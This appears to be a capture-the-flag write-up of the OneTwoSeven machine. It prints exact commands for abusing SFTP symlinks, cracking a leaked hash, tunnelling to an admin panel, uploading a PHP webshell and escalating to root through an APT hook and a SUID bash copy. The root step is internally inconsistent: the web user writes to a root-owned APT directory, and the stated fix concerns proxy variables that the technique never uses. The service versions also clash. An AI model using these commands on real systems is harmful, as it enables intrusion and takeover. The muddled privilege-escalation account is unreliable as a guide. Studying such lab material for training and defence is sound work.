OneTwoSeven
Summary
I registered a self-service account on the OneTwoSeven web application and received SFTP-only credentials. The SFTP daemon permitted unrestricted symlink creation, which was abused to link the server filesystem root into my web-served home directory, making every file on the server readable over HTTP. A Vim editor swap file left in the admin application directory disclosed the PHP source of the admin login page including a SHA-256 password hash, which cracked to a plaintext password.
Because the admin panel ran on a localhost-only port blocked at the firewall, an SSH local port-forward through the SFTP account tunnelled access to it. The admin panel accepted PHP file uploads with no extension or content validation, granting remote code execution as the web application user. Source code embedded in a bundled admin addon contained hard-coded SFTP credentials for a second user account whose home directory held the user flag.
The web application user held passwordless sudo over apt update and apt upgrade. APT reads every file in /etc/apt/apt.conf.d/ before it does anything else, and an APT::Update::Pre-Invoke entry there names a shell command to run first: as root, because that is who runs apt. One file and the sudo rule that was already granted were enough for full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets (<extracted-sha256-hash>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 2
Full TCP port scan with service and version detection.
$ nmap -sC -sV -p- --min-rate 5000 -oA onetwoseven $TARGETRegister the discovered virtual host for name resolution.
$ echo "$TARGET onetwoseven.htb" | sudo tee -a /etc/hostsExact commands 2
Visit the signup page; the server returns SFTP credentials on the same response.
$ curl -s 'http://onetwoseven.htb/signup.php'Confirm SFTP access with the issued credentials; password.
$ sftp ots-jZDExYzA@$TARGETExact commands 3
Open SFTP session; password.
$ sftp ots-jZDExYzA@$TARGETRun inside the sftp prompt; links server root into the web-served directory.
$ symlink / public_html/rootVerify that the entire filesystem is now browsable over HTTP.
$ curl -s 'http://onetwoseven.htb/~ots-jZDExYzA/root/' | head -40FixChroot SFTP users to their home directories and disable symlink creationCritical
Exact commands 3
Download the Vim swap file through the exposed filesystem symlink.
$ curl -s 'http://onetwoseven.htb/~ots-jZDExYzA/root/var/www/html-admin/.login.php.swp' -o login.swpExtract the SHA-256 password hash from the swap file content.
$ strings login.swp | grep -iE 'sha|hash|pass|admin'-m 1400 is SHA-256 mode; cracked result is <withheld>.
$ echo '<extracted-sha256-hash>' > hash.txt && hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt --forceFixPrevent Vim swap files from persisting in web-accessible directoriesHigh
Exact commands 2
Forward local port 60080 to the server's admin panel; run in a background terminal. Password <withheld>.
$ ssh -N -L 127.0.0.1:60080:127.0.0.1:60080 ots-jZDExYzA@$TARGETAuthenticate and save the admin session cookie to cookies.txt.
$ curl -s -X POST -d "username=ots-admin&password=$PASSWORD&login=Login" -c cookies.txt http://127.0.0.1:60080/login.phpFixDisable SSH TCP forwarding for SFTP-only accountsHigh
Exact commands 3
Create a minimal PHP webshell.
$ echo '<?php system($_REQUEST["x"]); ?>' > shell.phpUpload the webshell as an addon; use the admin session cookie from step 5.
$ curl -s -b cookies.txt -F 'addon=@shell.php;type=application/x-php' 'http://127.0.0.1:60080/addon-download.php/addon-upload.php'Verify remote code execution; expected output: uid=33(www-admin-data).
$ curl -s -b cookies.txt 'http://127.0.0.1:60080/menu.php?addon=shell.php&x=id'FixRestrict admin panel addon uploads to non-executable file types and store files outside the web rootCritical
Exact commands 3
List bundled addon files to identify those containing credentials.
$ curl -s -b cookies.txt 'http://127.0.0.1:60080/menu.php?addon=shell.php&x=ls+/var/www/html-admin/addons/'Search addon source for SFTP usernames matching the ots- naming pattern.
$ curl -s -b cookies.txt 'http://127.0.0.1:60080/menu.php?addon=shell.php&x=grep+-r+ots+/var/www/html-admin/addons/'Retrieve user.txt via SFTP using the discovered credentials. Flag value: <user.txt>.
$ printf 'pwd\nls -la\nget user.txt /tmp/user-ots-default.txt\nbye\n' | sshpass -p "$PASSWORD2" sftp -oBatchMode=no -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -P 22 ots-yODc2NGQ@$TARGETFixRemove hard-coded credentials from application source files and addonsHigh
Exact commands 4
Read the sudo rules through the webshell; apt update and apt upgrade come back passwordless.
$ curl -s -b cookies.txt 'http://127.0.0.1:60080/menu.php?addon=shell.php&x=sudo+-n+-l'APT reads every file in that directory before it runs. The hook is a shell command and it runs as root.
$ curl -s -b cookies.txt --data-urlencode 'x=echo "APT::Update::Pre-Invoke {\"cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash\";};" > /etc/apt/apt.conf.d/00pwn' 'http://127.0.0.1:60080/menu.php?addon=shell.php&x='Invoke the sudo rule that was already granted; apt runs the hook before touching the network.
$ curl -s -b cookies.txt 'http://127.0.0.1:60080/menu.php?addon=shell.php&x=sudo+-n+/usr/bin/apt-get+update'The SUID copy the hook left behind, kept privileged by -p.
$ /tmp/rootbash -pFixRemove HTTP proxy variables from the sudo environment passthrough for apt-getCritical
Exposed services
| 22/tcp | ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.25 ((Debian)) |